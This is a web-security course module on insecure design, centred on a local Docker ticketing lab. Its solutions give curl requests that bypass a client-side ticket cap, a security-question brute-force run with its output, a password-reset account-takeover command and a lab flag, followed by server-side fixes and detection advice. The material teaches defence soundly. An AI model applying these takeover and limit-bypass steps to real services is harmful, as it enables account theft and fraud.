OWASP Top 10:2025 Course — Module 6 of 10. Course home · Previous: Module 5 — Injection · Next: Module 7 — Authentication Failures
Learn first: what is Insecure Design
A06:2025, Insecure Design, is different from every other module in this course: there’s no single line of broken code to point at. The logic of the feature itself is the bug. A form that only enforces its limit with an HTML max="4" attribute, or a password-reset flow built around a single static security question — both "work" exactly as designed, and the design itself is the flaw.
Business rule: "max 4 tickets per account"
Enforced: <input type="number" max="4"> <- client-side only, cosmetic
POST /buy {quantity: 200} ──▶ server trusts it ──▶ house sold out, one account
Business rule: "prove you're the account owner to reset your password"
Enforced: one static question, one word answer, no rate limit, no lockout
7 guesses, no delay ──▶ correct answer found ──▶ full account takeover
Fixing insecure design means re-deriving the business rule server-side and replacing "secret word" authentication with something that can’t be brute-forced offline-at-your-leisure.
Scenario briefing
You’re reviewing NightVault Tickets, a small event-ticketing app, right before a high-demand on-sale. The business rule is "4 tickets per account, no exceptions" — your job is to find out whether that rule actually holds.
Lab setup
- Download: Download the lab (zip)
- Prerequisites: Docker Engine 20+, Docker Compose v2.
- Start it:
cd owasp-a06-insecure-design-lab docker compose up -d --build - Check it worked:
curl -s http://127.0.0.1:5000/should show the ticket page with a starting inventory.
Missions
Mission 1 — buy out the whole house in one request. Register a second account and buy far more than the stated limit.
Show solution
Solution — Mission 1
curl -s -c cj.txt -d "username=mallory&[email protected]&password=mallorypw1&security_question=What is your pet's name?&security_answer=shadow" \
http://127.0.0.1:5000/register
curl -s -b cj.txt -c cj.txt -d "username=mallory&password=mallorypw1" http://127.0.0.1:5000/login
curl -s -b cj.txt -X POST http://127.0.0.1:5000/buy -d "quantity=200"
curl -s http://127.0.0.1:5000/ | grep -o '[0-9]* <span.*tickets remaining'
The form’s max="4" is a hint for a browser, not a rule for the server. One POST from one account empties the inventory to 0 tickets remaining.
Mission 2 — brute-force the security question. Run the provided wordlist script against alice‘s account.
Show solution
Solution — Mission 2
python3 app/vulnerable/bruteforce_security_question.py
A list of seven common pet names, no delay, no lockout — the fifth guess, max, succeeds in under a second:
[SUCCESS] tried answer='max' -> HTTP 302
Correct answer found: 'max'. Account takeover possible.
Mission 3 — take over the account. Use the recovered answer to trigger and complete a password reset for alice.
Show solution
Solution — Mission 3
curl -s -b cj3.txt -c cj3.txt -d "username=alice&security_answer=max" http://127.0.0.1:5000/forgot-password
Once the reset session is granted, the response confirms account takeover; this is the practical version of FLAG{a06-security-question-brute-forced} — a seven-word offline dictionary beat the entire authentication story for password resets.
Mission 4 — fix both flaws. Enforce the ticket cap server-side; replace the security question with a signed, single-use reset token.
Show solution
Solution — Mission 4
existing = get_ticket_count(session["user_id"])
if existing + quantity > 4:
return "Purchase limit is 4 tickets per account", 400
token = serializer.dumps(username) # itsdangerous, signed + time-limited
reset_link = url_for("reset_password", token=token, _external=True)
# ... single-use: track used tokens, reject on replay
Apply both, restart, and run python3 lab.py verify — the fixed app enforces the cap regardless of what quantity the client sends, and no security-answer guess ever grants a reset.
Hints
- The purchase cap bug needs nothing exotic — just send a bigger number than the form allows.
- The wordlist in
bruteforce_security_question.pyis deliberately tiny (seven names) to make the point fast; real attacker wordlists for "pet’s name" questions run into the thousands and still finish in seconds. - Compare
app/fixed/app.py‘sforgot-passwordroute against the vulnerable one — the entire security-question mechanism is simply gone, not rate-limited.
Fix it + re-test
Re-derive every business rule server-side, using data the server already trusts (how many tickets this account has already bought), never a value the client supplies. Replace "secret word" recovery flows with possession-based proof — a signed, expiring, single-use link sent to a channel the account owner actually controls (email, in this lab printed to the console instead).
Detect it
Alert on any purchase quantity that would push an account over its stated cap, regardless of what the client claims the quantity is — compare against your own running total. For account recovery, alert on repeated /forgot-password attempts with different answers for the same account in a short window; a human doesn’t need seven guesses to remember their own pet’s name.
Quick self-check
- Why is "the form input has a max attribute" never sufficient to enforce a business rule?
- What makes a security question fundamentally weaker than a token-based reset, independent of rate limiting?
- If you added rate limiting to the security-question endpoint but kept the question itself, would the design still be insecure? Why?
Show answers
Answers
- HTML attributes, JavaScript validation, and anything else that runs in the browser can be bypassed entirely by sending the HTTP request directly — the server is the only party that can actually enforce anything.
- A security question’s answer space is small and guessable (pet names, favorite colors) and, crucially, is often reused or discoverable from social media — a cryptographically signed, single-use, time-limited token has no guessable "answer" at all.
- Yes — a rate-limited security question just makes the brute-force slower, it doesn’t fix the underlying weak answer space; a determined attacker (or someone who knows the victim) can still eventually guess or socially-engineer a common pet name even at one guess per hour.